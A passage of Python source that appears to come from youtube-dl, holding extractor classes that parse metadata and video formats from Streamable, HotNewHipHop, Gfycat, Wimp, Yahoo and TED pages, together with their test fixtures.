            webpage, 'player code'), video_id, transform_source=js_to_json)
        formats = [{
            'url': s['file'],
            'ext': 'mp4',
        } for s in params['sources']]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage).replace('Video: ', ''),
            'description': self._og_search_description(webpage),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
)


class StreamableIE(InfoExtractor):
    _VALID_URL = r'https?://streamable\.com/(?:e/)?(?P<id>\w+)'
    _TESTS = [
        {
            'url': 'https://streamable.com/dnd1',
            'md5': '3e3bc5ca088b48c2d436529b64397fef',
            'info_dict': {
                'id': 'dnd1',
                'ext': 'mp4',
                'title': 'Mikel Oiarzabal scores to make it 0-3 for La Real against Espanyol',
                'thumbnail': 're:https?://.*\.jpg$',
                'uploader': 'teabaker',
                'timestamp': 1454964157.35115,
                'upload_date': '20160208',
                'duration': 61.516,
                'view_count': int,
            }
        },
        # older video without bitrate, width/height, etc. info
        {
            'url': 'https://streamable.com/moo',
            'md5': '2cf6923639b87fba3279ad0df3a64e73',
            'info_dict': {
                'id': 'moo',
                'ext': 'mp4',
                'title': '"Please don\'t eat me!"',
                'thumbnail': 're:https?://.*\.jpg$',
                'timestamp': 1426115495,
                'upload_date': '20150311',
                'duration': 12,
                'view_count': int,
            }
        },
        {
            'url': 'https://streamable.com/e/dnd1',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # Note: Using the ajax API, as the public Streamable API doesn't seem
        # to return video info like the title properly sometimes, and doesn't
        # include info like the video duration
        video = self._download_json(
            'https://streamable.com/ajax/videos/%s' % video_id, video_id)

        # Format IDs:
        # 0 The video is being uploaded
        # 1 The video is being processed
        # 2 The video has at least one file ready
        # 3 The video is unavailable due to an error
        status = video.get('status')
        if status != 2:
            raise ExtractorError(
                'This video is currently unavailable. It may still be uploading or processing.',
                expected=True)

        title = video.get('reddit_title') or video['title']

        formats = []
        for key, info in video['files'].items():
            if not info.get('url'):
                continue
            formats.append({
                'format_id': key,
                'url': self._proto_relative_url(info['url']),
                'width': int_or_none(info.get('width')),
                'height': int_or_none(info.get('height')),
                'filesize': int_or_none(info.get('size')),
                'fps': int_or_none(info.get('framerate')),
                'vbr': float_or_none(info.get('bitrate'), 1000)
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': video.get('description'),
            'thumbnail': self._proto_relative_url(video.get('thumbnail_url')),
            'uploader': video.get('owner', {}).get('user_name'),
            'timestamp': float_or_none(video.get('date_added')),
            'duration': float_or_none(video.get('duration')),
            'view_count': int_or_none(video.get('plays')),
            'formats': formats
        }






from __future__ import unicode_literals

import base64

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    HEADRequest,
    sanitized_Request,
    urlencode_postdata,
)


class HotNewHipHopIE(InfoExtractor):
    _VALID_URL = r'https?://www\.hotnewhiphop\.com/.*\.(?P<id>.*)\.html'
    _TEST = {
        'url': 'http://www.hotnewhiphop.com/freddie-gibbs-lay-it-down-song.1435540.html',
        'md5': '2c2cd2f76ef11a9b3b581e8b232f3d96',
        'info_dict': {
            'id': '1435540',
            'ext': 'mp3',
            'title': 'Freddie Gibbs - Lay It Down'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_url_base64 = self._search_regex(
            r'data-path="(.*?)"', webpage, 'video URL', default=None)

        if video_url_base64 is None:
            video_url = self._search_regex(
                r'"contentUrl" content="(.*?)"', webpage, 'content URL')
            return self.url_result(video_url, ie='Youtube')

        reqdata = urlencode_postdata([
            ('mediaType', 's'),
            ('mediaId', video_id),
        ])
        r = sanitized_Request(
            'http://www.hotnewhiphop.com/ajax/media/getActions/', data=reqdata)
        r.add_header('Content-Type', 'application/x-www-form-urlencoded')
        mkd = self._download_json(
            r, video_id, note='Requesting media key',
            errnote='Could not download media key')
        if 'mediaKey' not in mkd:
            raise ExtractorError('Did not get a media key')

        redirect_url = base64.b64decode(video_url_base64).decode('utf-8')
        redirect_req = HEADRequest(redirect_url)
        req = self._request_webpage(
            redirect_req, video_id,
            note='Resolving final URL', errnote='Could not resolve final URL')
        video_url = req.geturl()
        if video_url.endswith('.html'):
            raise ExtractorError('Redirect failed')

        video_title = self._og_search_title(webpage).strip()

        return {
            'id': video_id,
            'url': video_url,
            'title': video_title,
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    float_or_none,
    qualities,
    ExtractorError,
)


class GfycatIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gfycat\.com/(?:ifr/)?(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://gfycat.com/DeadlyDecisiveGermanpinscher',
        'info_dict': {
            'id': 'DeadlyDecisiveGermanpinscher',
            'ext': 'mp4',
            'title': 'Ghost in the Shell',
            'timestamp': 1410656006,
            'upload_date': '20140914',
            'uploader': 'anonymous',
            'duration': 10.4,
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'categories': list,
            'age_limit': 0,
        }
    }, {
        'url': 'http://gfycat.com/ifr/JauntyTimelyAmazontreeboa',
        'info_dict': {
            'id': 'JauntyTimelyAmazontreeboa',
            'ext': 'mp4',
            'title': 'JauntyTimelyAmazontreeboa',
            'timestamp': 1411720126,
            'upload_date': '20140926',
            'uploader': 'anonymous',
            'duration': 3.52,
            'view_count': int,
            'like_count': int,
            'dislike_count': int,
            'categories': list,
            'age_limit': 0,
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        gfy = self._download_json(
            'http://gfycat.com/cajax/get/%s' % video_id,
            video_id, 'Downloading video info')
        if 'error' in gfy:
            raise ExtractorError('Gfycat said: ' + gfy['error'], expected=True)
        gfy = gfy['gfyItem']

        title = gfy.get('title') or gfy['gfyName']
        description = gfy.get('description')
        timestamp = int_or_none(gfy.get('createDate'))
        uploader = gfy.get('userName')
        view_count = int_or_none(gfy.get('views'))
        like_count = int_or_none(gfy.get('likes'))
        dislike_count = int_or_none(gfy.get('dislikes'))
        age_limit = 18 if gfy.get('nsfw') == '1' else 0

        width = int_or_none(gfy.get('width'))
        height = int_or_none(gfy.get('height'))
        fps = int_or_none(gfy.get('frameRate'))
        num_frames = int_or_none(gfy.get('numFrames'))

        duration = float_or_none(num_frames, fps) if num_frames and fps else None

        categories = gfy.get('tags') or gfy.get('extraLemmas') or []

        FORMATS = ('gif', 'webm', 'mp4')
        quality = qualities(FORMATS)

        formats = []
        for format_id in FORMATS:
            video_url = gfy.get('%sUrl' % format_id)
            if not video_url:
                continue
            filesize = gfy.get('%sSize' % format_id)
            formats.append({
                'url': video_url,
                'format_id': format_id,
                'width': width,
                'height': height,
                'fps': fps,
                'filesize': filesize,
                'quality': quality(format_id),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'uploader': uploader,
            'duration': duration,
            'view_count': view_count,
            'like_count': like_count,
            'dislike_count': dislike_count,
            'categories': categories,
            'age_limit': age_limit,
            'formats': formats,
        }






from __future__ import unicode_literals

from .youtube import YoutubeIE
from .jwplatform import JWPlatformBaseIE


class WimpIE(JWPlatformBaseIE):
    _VALID_URL = r'https?://(?:www\.)?wimp\.com/(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://www.wimp.com/maru-is-exhausted/',
        'md5': 'ee21217ffd66d058e8b16be340b74883',
        'info_dict': {
            'id': 'maru-is-exhausted',
            'ext': 'mp4',
            'title': 'Maru is exhausted.',
            'description': 'md5:57e099e857c0a4ea312542b684a869b8',
        }
    }, {
        'url': 'http://www.wimp.com/clowncar/',
        'md5': '5c31ad862a90dc5b1f023956faec13fe',
        'info_dict': {
            'id': 'cG4CEr2aiSg',
            'ext': 'webm',
            'title': 'Basset hound clown car...incredible!',
            'description': '5 of my Bassets crawled in this dog loo! www.bellinghambassets.com\n\nFor licensing/usage please contact: licensing(at)jukinmediadotcom',
            'upload_date': '20140303',
            'uploader': 'Gretchen Hoey',
            'uploader_id': 'gretchenandjeff1',
        },
        'add_ie': ['Youtube'],
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        youtube_id = self._search_regex(
            r"videoId\s*:\s*[\"']([0-9A-Za-z_-]{11})[\"']",
            webpage, 'video URL', default=None)
        if youtube_id:
            return {
                '_type': 'url',
                'url': youtube_id,
                'ie_key': YoutubeIE.ie_key(),
            }

        info_dict = self._extract_jwplayer_data(
            webpage, video_id, require_title=False)

        info_dict.update({
            'id': video_id,
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
        })

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

import itertools
import json
import re

from .common import InfoExtractor, SearchInfoExtractor
from ..compat import (
    compat_urllib_parse,
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    unescapeHTML,
    ExtractorError,
    int_or_none,
    mimetype2ext,
)

from .brightcove import BrightcoveNewIE
from .nbc import NBCSportsVPlayerIE


class YahooIE(InfoExtractor):
    IE_DESC = 'Yahoo screen and movies'
    _VALID_URL = r'(?P<url>(?P<host>https?://(?:[a-zA-Z]{2}\.)?[\da-zA-Z_-]+\.yahoo\.com)/(?:[^/]+/)*(?P<display_id>.+)?-(?P<id>[0-9]+)(?:-[a-z]+)?(?:\.html)?)'
    _TESTS = [
        {
            'url': 'http://screen.yahoo.com/julian-smith-travis-legg-watch-214727115.html',
            'info_dict': {
                'id': '2d25e626-2378-391f-ada0-ddaf1417e588',
                'ext': 'mp4',
                'title': 'Julian Smith & Travis Legg Watch Julian Smith',
                'description': 'Julian and Travis watch Julian Smith',
                'duration': 6863,
            },
        },
        {
            'url': 'http://screen.yahoo.com/wired/codefellas-s1-ep12-cougar-lies-103000935.html',
            'md5': 'c3466d2b6d5dd6b9f41ba9ed04c24b23',
            'info_dict': {
                'id': 'd1dedf8c-d58c-38c3-8963-e899929ae0a9',
                'ext': 'mp4',
                'title': 'Codefellas - The Cougar Lies with Spanish Moss',
                'description': 'md5:66b627ab0a282b26352136ca96ce73c1',
                'duration': 151,
            },
        },
        {
            'url': 'https://screen.yahoo.com/community/community-sizzle-reel-203225340.html?format=embed',
            'md5': '75ffabdb87c16d4ffe8c036dc4d1c136',
            'info_dict': {
                'id': '4fe78544-8d48-39d8-97cd-13f205d9fcdb',
                'ext': 'mp4',
                'title': "Yahoo Saves 'Community'",
                'description': 'md5:4d4145af2fd3de00cbb6c1d664105053',
                'duration': 170,
            }
        },
        {
            'url': 'https://tw.news.yahoo.com/%E6%95%A2%E5%95%8F%E5%B8%82%E9%95%B7%20%E9%BB%83%E7%A7%80%E9%9C%9C%E6%89%B9%E8%B3%B4%E6%B8%85%E5%BE%B7%20%E9%9D%9E%E5%B8%B8%E9%AB%98%E5%82%B2-034024051.html',
            'md5': '9035d38f88b1782682a3e89f985be5bb',
            'info_dict': {
                'id': 'cac903b3-fcf4-3c14-b632-643ab541712f',
                'ext': 'mp4',
                'title': '敢問市長／黃秀霜批賴清德「非常高傲」',
                'description': '直言台南沒捷運 交通居五都之末',
                'duration': 396,
            },
        },
        {
            'url': 'https://uk.screen.yahoo.com/editor-picks/cute-raccoon-freed-drain-using-091756545.html',
            'md5': '0b51660361f0e27c9789e7037ef76f4b',
            'info_dict': {
                'id': 'b3affa53-2e14-3590-852b-0e0db6cd1a58',
                'ext': 'mp4',
                'title': 'Cute Raccoon Freed From Drain\u00a0Using Angle Grinder',
                'description': 'md5:f66c890e1490f4910a9953c941dee944',
                'duration': 97,
            }
        },
        {
            'url': 'https://ca.sports.yahoo.com/video/program-makes-hockey-more-affordable-013127711.html',
            'md5': '57e06440778b1828a6079d2f744212c4',
            'info_dict': {
                'id': 'c9fa2a36-0d4d-3937-b8f6-cc0fb1881e73',
                'ext': 'mp4',
                'title': 'Program that makes hockey more affordable not offered in Manitoba',
                'description': 'md5:c54a609f4c078d92b74ffb9bf1f496f4',
                'duration': 121,
            },
            'skip': 'Video gone',
        }, {
            'url': 'https://ca.finance.yahoo.com/news/hackers-sony-more-trouble-well-154609075.html',
            'info_dict': {
                'id': '154609075',
            },
            'playlist': [{
                'md5': 'f8e336c6b66f503282e5f719641d6565',
                'info_dict': {
                    'id': 'e624c4bc-3389-34de-9dfc-025f74943409',
                    'ext': 'mp4',
                    'title': '\'The Interview\' TV Spot: War',
                    'description': 'The Interview',
                    'duration': 30,
                },
            }, {
                'md5': '958bcb90b4d6df71c56312137ee1cd5a',
                'info_dict': {
                    'id': '1fc8ada0-718e-3abe-a450-bf31f246d1a9',
                    'ext': 'mp4',
                    'title': '\'The Interview\' TV Spot: Guys',
                    'description': 'The Interview',
                    'duration': 30,
                },
            }],
        }, {
            'url': 'http://news.yahoo.com/video/china-moses-crazy-blues-104538833.html',
            'md5': '88e209b417f173d86186bef6e4d1f160',
            'info_dict': {
                'id': 'f885cf7f-43d4-3450-9fac-46ac30ece521',
                'ext': 'mp4',
                'title': 'China Moses Is Crazy About the Blues',
                'description': 'md5:9900ab8cd5808175c7b3fe55b979bed0',
                'duration': 128,
            }
        }, {
            'url': 'https://in.lifestyle.yahoo.com/video/connect-dots-dark-side-virgo-090247395.html',
            'md5': 'd9a083ccf1379127bf25699d67e4791b',
            'info_dict': {
                'id': '52aeeaa3-b3d1-30d8-9ef8-5d0cf05efb7c',
                'ext': 'mp4',
                'title': 'Connect the Dots: Dark Side of Virgo',
                'description': 'md5:1428185051cfd1949807ad4ff6d3686a',
                'duration': 201,
            },
            'skip': 'Domain name in.lifestyle.yahoo.com gone',
        }, {
            'url': 'https://www.yahoo.com/movies/v/true-story-trailer-173000497.html',
            'md5': 'b17ac378b1134fa44370fb27db09a744',
            'info_dict': {
                'id': '071c4013-ce30-3a93-a5b2-e0413cd4a9d1',
                'ext': 'mp4',
                'title': '\'True Story\' Trailer',
                'description': 'True Story',
                'duration': 150,
            },
        }, {
            'url': 'https://gma.yahoo.com/pizza-delivery-man-surprised-huge-tip-college-kids-195200785.html',
            'only_matching': True,
        }, {
            'note': 'NBC Sports embeds',
            'url': 'http://sports.yahoo.com/blogs/ncaab-the-dagger/tyler-kalinoski-s-buzzer-beater-caps-davidson-s-comeback-win-185609842.html?guid=nbc_cbk_davidsonbuzzerbeater_150313',
            'info_dict': {
                'id': '9CsDKds0kvHI',
                'ext': 'flv',
                'description': 'md5:df390f70a9ba7c95ff1daace988f0d8d',
                'title': 'Tyler Kalinoski hits buzzer-beater to lift Davidson',
                'upload_date': '20150313',
                'uploader': 'NBCU-SPORTS',
                'timestamp': 1426270238,
            }
        }, {
            'url': 'https://tw.news.yahoo.com/-100120367.html',
            'only_matching': True,
        }, {
            # Query result is embedded in webpage, but explicit request to video API fails with geo restriction
            'url': 'https://screen.yahoo.com/community/communitary-community-episode-1-ladders-154501237.html',
            'md5': '1ddbf7c850777548438e5c4f147c7b8c',
            'info_dict': {
                'id': '1f32853c-a271-3eef-8cb6-f6d6872cb504',
                'ext': 'mp4',
                'title': 'Communitary - Community Episode 1: Ladders',
                'description': 'md5:8fc39608213295748e1e289807838c97',
                'duration': 1646,
            },
        }, {
            # it uses an alias to get the video_id
            'url': 'https://www.yahoo.com/movies/the-stars-of-daddys-home-have-very-different-212843197.html',
            'info_dict': {
                'id': '40eda9c8-8e5f-3552-8745-830f67d0c737',
                'ext': 'mp4',
                'title': 'Will Ferrell & Mark Wahlberg Are Pro-Spanking',
                'description': 'While they play feuding fathers in \'Daddy\'s Home,\' star Will Ferrell & Mark Wahlberg share their true feelings on parenthood.',
            },
        },
        {
            # config['models']['applet_model']['data']['sapi'] has no query
            'url': 'https://www.yahoo.com/music/livenation/event/galactic-2016',
            'md5': 'dac0c72d502bc5facda80c9e6d5c98db',
            'info_dict': {
                'id': 'a6015640-e9e5-3efb-bb60-05589a183919',
                'ext': 'mp4',
                'description': 'Galactic',
                'title': 'Dolla Diva (feat. Maggie Koerner)',
            },
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('display_id') or self._match_id(url)
        page_id = mobj.group('id')
        url = mobj.group('url')
        host = mobj.group('host')
        webpage, urlh = self._download_webpage_handle(url, display_id)
        if 'err=404' in urlh.geturl():
            raise ExtractorError('Video gone', expected=True)

        # Look for iframed media first
        entries = []
        iframe_urls = re.findall(r'<iframe[^>]+src="(/video/.+?-\d+\.html\?format=embed.*?)"', webpage)
        for idx, iframe_url in enumerate(iframe_urls):
            iframepage = self._download_webpage(
                host + iframe_url, display_id,
                note='Downloading iframe webpage for video #%d' % idx)
            items_json = self._search_regex(
                r'mediaItems: (\[.+?\])$', iframepage, 'items', flags=re.MULTILINE, default=None)
            if items_json:
                items = json.loads(items_json)
                video_id = items[0]['id']
                entries.append(self._get_info(video_id, display_id, webpage))
        if entries:
            return self.playlist_result(entries, page_id)

        # Look for NBCSports iframes
        nbc_sports_url = NBCSportsVPlayerIE._extract_url(webpage)
        if nbc_sports_url:
            return self.url_result(nbc_sports_url, NBCSportsVPlayerIE.ie_key())

        # Look for Brightcove New Studio embeds
        bc_url = BrightcoveNewIE._extract_url(webpage)
        if bc_url:
            return self.url_result(bc_url, BrightcoveNewIE.ie_key())

        # Query result is often embedded in webpage as JSON. Sometimes explicit requests
        # to video API results in a failure with geo restriction reason therefore using
        # embedded query result when present sounds reasonable.
        config_json = self._search_regex(
            r'window\.Af\.bootstrap\[[^\]]+\]\s*=\s*({.*?"applet_type"\s*:\s*"td-applet-videoplayer".*?});(?:</script>|$)',
            webpage, 'videoplayer applet', default=None)
        if config_json:
            config = self._parse_json(config_json, display_id, fatal=False)
            if config:
                sapi = config.get('models', {}).get('applet_model', {}).get('data', {}).get('sapi')
                if sapi and 'query' in sapi:
                    return self._extract_info(display_id, sapi, webpage)

        items_json = self._search_regex(
            r'mediaItems: ({.*?})$', webpage, 'items', flags=re.MULTILINE,
            default=None)
        if items_json is None:
            alias = self._search_regex(
                r'"aliases":{"video":"(.*?)"', webpage, 'alias', default=None)
            if alias is not None:
                alias_info = self._download_json(
                    'https://www.yahoo.com/_td/api/resource/VideoService.videos;video_aliases=["%s"]' % alias,
                    display_id, 'Downloading alias info')
                video_id = alias_info[0]['id']
            else:
                CONTENT_ID_REGEXES = [
                    r'YUI\.namespace\("Media"\)\.CONTENT_ID\s*=\s*"([^"]+)"',
                    r'root\.App\.Cache\.context\.videoCache\.curVideo = \{"([^"]+)"',
                    r'"first_videoid"\s*:\s*"([^"]+)"',
                    r'%s[^}]*"ccm_id"\s*:\s*"([^"]+)"' % re.escape(page_id),
                    r'<article[^>]data-uuid=["\']([^"\']+)',
                    r'yahoo://article/view\?.*\buuid=([^&"\']+)',
                ]
                video_id = self._search_regex(
                    CONTENT_ID_REGEXES, webpage, 'content ID')
        else:
            items = json.loads(items_json)
            info = items['mediaItems']['query']['results']['mediaObj'][0]
            # The 'meta' field is not always in the video webpage, we request it
            # from another page
            video_id = info['id']
        return self._get_info(video_id, display_id, webpage)

    def _extract_info(self, display_id, query, webpage):
        info = query['query']['results']['mediaObj'][0]
        meta = info.get('meta')
        video_id = info.get('id')

        if not meta:
            msg = info['status'].get('msg')
            if msg:
                raise ExtractorError(
                    '%s returned error: %s' % (self.IE_NAME, msg), expected=True)
            raise ExtractorError('Unable to extract media object meta')

        formats = []
        for s in info['streams']:
            format_info = {
                'width': int_or_none(s.get('width')),
                'height': int_or_none(s.get('height')),
                'tbr': int_or_none(s.get('bitrate')),
            }

            host = s['host']
            path = s['path']
            if host.startswith('rtmp'):
                format_info.update({
                    'url': host,
                    'play_path': path,
                    'ext': 'flv',
                })
            else:
                if s.get('format') == 'm3u8_playlist':
                    format_info['protocol'] = 'm3u8_native'
                    format_info['ext'] = 'mp4'
                format_url = compat_urlparse.urljoin(host, path)
                format_info['url'] = format_url
            formats.append(format_info)

        self._sort_formats(formats)

        closed_captions = self._html_search_regex(
            r'"closedcaptions":(\[[^\]]+\])', webpage, 'closed captions',
            default='[]')

        cc_json = self._parse_json(closed_captions, video_id, fatal=False)
        subtitles = {}
        if cc_json:
            for closed_caption in cc_json:
                lang = closed_caption['lang']
                if lang not in subtitles:
                    subtitles[lang] = []
                subtitles[lang].append({
                    'url': closed_caption['url'],
                    'ext': mimetype2ext(closed_caption['content_type']),
                })

        return {
            'id': video_id,
            'display_id': display_id,
            'title': unescapeHTML(meta['title']),
            'formats': formats,
            'description': clean_html(meta['description']),
            'thumbnail': meta['thumbnail'] if meta.get('thumbnail') else self._og_search_thumbnail(webpage),
            'duration': int_or_none(meta.get('duration')),
            'subtitles': subtitles,
        }

    def _get_info(self, video_id, display_id, webpage):
        region = self._search_regex(
            r'\\?"region\\?"\s*:\s*\\?"([^"]+?)\\?"',
            webpage, 'region', fatal=False, default='US')
        data = compat_urllib_parse_urlencode({
            'protocol': 'http',
            'region': region.upper(),
        })
        query_url = (
            'https://video.media.yql.yahoo.com/v1/video/sapi/streams/'
            '{id}?{data}'.format(id=video_id, data=data))
        query_result = self._download_json(
            query_url, display_id, 'Downloading video info')
        return self._extract_info(display_id, query_result, webpage)


class YahooSearchIE(SearchInfoExtractor):
    IE_DESC = 'Yahoo screen search'
    _MAX_RESULTS = 1000
    IE_NAME = 'screen.yahoo:search'
    _SEARCH_KEY = 'yvsearch'

    def _get_n_results(self, query, n):
        """Get a specified number of results for a query"""
        entries = []
        for pagenum in itertools.count(0):
            result_url = 'http://video.search.yahoo.com/search/?p=%s&fr=screen&o=js&gs=0&b=%d' % (compat_urllib_parse.quote_plus(query), pagenum * 30)
            info = self._download_json(result_url, query,
                                       note='Downloading results page ' + str(pagenum + 1))
            m = info['m']
            results = info['results']

            for (i, r) in enumerate(results):
                if (pagenum * 30) + i >= n:
                    break
                mobj = re.search(r'(?P<url>screen\.yahoo\.com/.*?-\d*?\.html)"', r)
                e = self.url_result('http://' + mobj.group('url'), 'Yahoo')
                entries.append(e)
            if (pagenum * 30 + i >= n) or (m['last'] >= (m['total'] - 1)):
                break

        return {
            '_type': 'playlist',
            'id': query,
            'entries': entries,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor

from ..compat import compat_str
from ..utils import int_or_none


class TEDIE(InfoExtractor):
    IE_NAME = 'ted'
    _VALID_URL = r'''(?x)
        (?P<proto>https?://)
        (?P<type>www|embed(?:-ssl)?)(?P<urlmain>\.ted\.com/
        (
            (?P<type_playlist>playlists(?:/\d+)?) # We have a playlist
            |
            ((?P<type_talk>talks)) # We have a simple talk
            |
            (?P<type_watch>watch)/[^/]+/[^/]+
        )
        (/lang/(.*?))? # The url may contain the language
        /(?P<name>[\w-]+) # Here goes the name and then ".html"
        .*)$
        '''
    _TESTS = [{
        'url': 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html',
        'md5': '0de43ac406aa3e4ea74b66c9c7789b13',
        'info_dict': {
            'id': '102',
            'ext': 'mp4',
            'title': 'The illusion of consciousness',
            'description': ('Philosopher Dan Dennett makes a compelling '
                            'argument that not only don\'t we understand our own '
                            'consciousness, but that half the time our brains are '
                            'actively fooling us.'),
            'uploader': 'Dan Dennett',
            'width': 853,
            'duration': 1308,
        }
    }, {
        'url': 'http://www.ted.com/watch/ted-institute/ted-bcg/vishal-sikka-the-beauty-and-power-of-algorithms',
        'md5': 'b899ac15e345fb39534d913f7606082b',
        'info_dict': {
            'id': 'tSVI8ta_P4w',
            'ext': 'mp4',
            'title': 'Vishal Sikka: The beauty and power of algorithms',
            'thumbnail': 're:^https?://.+\.jpg',
            'description': 'md5:6261fdfe3e02f4f579cbbfc00aff73f4',
            'upload_date': '20140122',
            'uploader_id': 'TEDInstitute',
            'uploader': 'TED Institute',
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'http://www.ted.com/talks/gabby_giffords_and_mark_kelly_be_passionate_be_courageous_be_your_best',
        'md5': '71b3ab2f4233012dce09d515c9c39ce2',
        'info_dict': {
            'id': '1972',
            'ext': 'mp4',
            'title': 'Be passionate. Be courageous. Be your best.',
            'uploader': 'Gabby Giffords and Mark Kelly',
            'description': 'md5:5174aed4d0f16021b704120360f72b92',
            'duration': 1128,
        },
    }, {
        'url': 'http://www.ted.com/playlists/who_are_the_hackers',
        'info_dict': {
            'id': '10',
            'title': 'Who are the hackers?',
        },
        'playlist_mincount': 6,
    }, {
        # contains a youtube video
        'url': 'https://www.ted.com/talks/douglas_adams_parrots_the_universe_and_everything',
        'add_ie': ['Youtube'],
        'info_dict': {
            'id': '_ZG8HBuDjgc',
            'ext': 'webm',
            'title': 'Douglas Adams: Parrots the Universe and Everything',
            'description': 'md5:01ad1e199c49ac640cb1196c0e9016af',
            'uploader': 'University of California Television (UCTV)',
            'uploader_id': 'UCtelevision',
            'upload_date': '20080522',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # YouTube video
        'url': 'http://www.ted.com/talks/jeffrey_kluger_the_sibling_bond',
        'add_ie': ['Youtube'],
        'info_dict': {
            'id': 'aFBIPO-P7LM',
            'ext': 'mp4',
            'title': 'The hidden power of siblings: Jeff Kluger at TEDxAsheville',
            'description': 'md5:3d7a4f50d95ca5dd67104e2a20f43fe1',
            'uploader': 'TEDx Talks',
            'uploader_id': 'TEDxTalks',
            'upload_date': '20111216',
        },
        'params': {
            'skip_download': True,
        },
    }]

    _NATIVE_FORMATS = {
        'low': {'width': 320, 'height': 180},
        'medium': {'width': 512, 'height': 288},
        'high': {'width': 854, 'height': 480},
    }

    def _extract_info(self, webpage):
        info_json = self._search_regex(r'q\("\w+.init",({.+})\)</script>',
                                       webpage, 'info json')
        return json.loads(info_json)

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url, re.VERBOSE)
        if m.group('type').startswith('embed'):
            desktop_url = m.group('proto') + 'www' + m.group('urlmain')
            return self.url_result(desktop_url, 'TED')
        name = m.group('name')
        if m.group('type_talk'):
            return self._talk_info(url, name)
        elif m.group('type_watch'):
            return self._watch_info(url, name)
        else:
            return self._playlist_videos_info(url, name)

    def _playlist_videos_info(self, url, name):
        '''Returns the videos of the playlist'''

        webpage = self._download_webpage(url, name,
                                         'Downloading playlist webpage')
        info = self._extract_info(webpage)
        playlist_info = info['playlist']

        playlist_entries = [
            self.url_result('http://www.ted.com/talks/' + talk['slug'], self.ie_key())
            for talk in info['talks']
        ]
        return self.playlist_result(
            playlist_entries,
            playlist_id=compat_str(playlist_info['id']),
            playlist_title=playlist_info['title'])

    def _talk_info(self, url, video_name):
        webpage = self._download_webpage(url, video_name)
        self.report_extraction(video_name)

        talk_info = self._extract_info(webpage)['talks'][0]

        external = talk_info.get('external')
        if external:
            service = external['service']
            self.to_screen('Found video from %s' % service)
            ext_url = None
            if service.lower() == 'youtube':
                ext_url = external.get('code')
            return {
                '_type': 'url',
                'url': ext_url or external['uri'],
            }

        formats = [{
            'url': format_url,
            'format_id': format_id,
            'format': format_id,
        } for (format_id, format_url) in talk_info['nativeDownloads'].items() if format_url is not None]
        if formats:
            for f in formats:
                finfo = self._NATIVE_FORMATS.get(f['format_id'])
                if finfo:
                    f.update(finfo)

        http_url = None
        for format_id, resources in talk_info['resources'].items():
            if format_id == 'h264':
                for resource in resources:
                    h264_url = resource.get('file')
                    if not h264_url:
                        continue
                    bitrate = int_or_none(resource.get('bitrate'))
                    formats.append({
                        'url': h264_url,
                        'format_id': '%s-%sk' % (format_id, bitrate),
                        'tbr': bitrate,
                    })
                    if re.search('\d+k', h264_url):
                        http_url = h264_url
            elif format_id == 'rtmp':
                streamer = talk_info.get('streamer')
                if not streamer:
                    continue
                for resource in resources:
                    formats.append({
                        'format_id': '%s-%s' % (format_id, resource.get('name')),
                        'url': streamer,
                        'play_path': resource['file'],
                        'ext': 'flv',
                        'width': int_or_none(resource.get('width')),
                        'height': int_or_none(resource.get('height')),
                        'tbr': int_or_none(resource.get('bitrate')),
                    })
            elif format_id == 'hls':
                formats.extend(self._extract_m3u8_formats(
                    resources.get('stream'), video_name, 'mp4', m3u8_id=format_id, fatal=False))

        m3u8_formats = list(filter(
            lambda f: f.get('protocol') == 'm3u8' and f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
            formats))
        if http_url:
            for m3u8_format in m3u8_formats:
                bitrate = self._search_regex(r'(\d+k)', m3u8_format['url'], 'bitrate', default=None)
                if not bitrate:
                    continue
                f = m3u8_format.copy()
                f.update({
                    'url': re.sub(r'\d+k', bitrate, http_url),
                    'format_id': m3u8_format['format_id'].replace('hls', 'http'),
                    'protocol': 'http',
                })
                formats.append(f)

        audio_download = talk_info.get('audioDownload')
        if audio_download:
            formats.append({
                'url': audio_download,
                'format_id': 'audio',
                'vcodec': 'none',
            })

        self._sort_formats(formats)

        video_id = compat_str(talk_info['id'])

        thumbnail = talk_info['thumb']
        if not thumbnail.startswith('http'):
            thumbnail = 'http://' + thumbnail
        return {
            'id': video_id,
            'title': talk_info['title'].strip(),
            'uploader': talk_info['speaker'],
            'thumbnail': thumbnail,
            'description': self._og_search_description(webpage),
            'subtitles': self._get_subtitles(video_id, talk_info),
            'formats': formats,
            'duration': talk_info.get('duration'),
        }

    def _get_subtitles(self, video_id, talk_info):
        languages = [lang['languageCode'] for lang in talk_info.get('languages', [])]
        if languages:
            sub_lang_list = {}
            for l in languages:
                sub_lang_list[l] = [
                    {
                        'url': 'http://www.ted.com/talks/subtitles/id/%s/lang/%s/format/%s' % (video_id, l, ext),
                        'ext': ext,
                    }
                    for ext in ['ted', 'srt']
                ]
            return sub_lang_list
        else:
            return {}

    def _watch_info(self, url, name):
        webpage = self._download_webpage(url, name)

        config_json = self._html_search_regex(
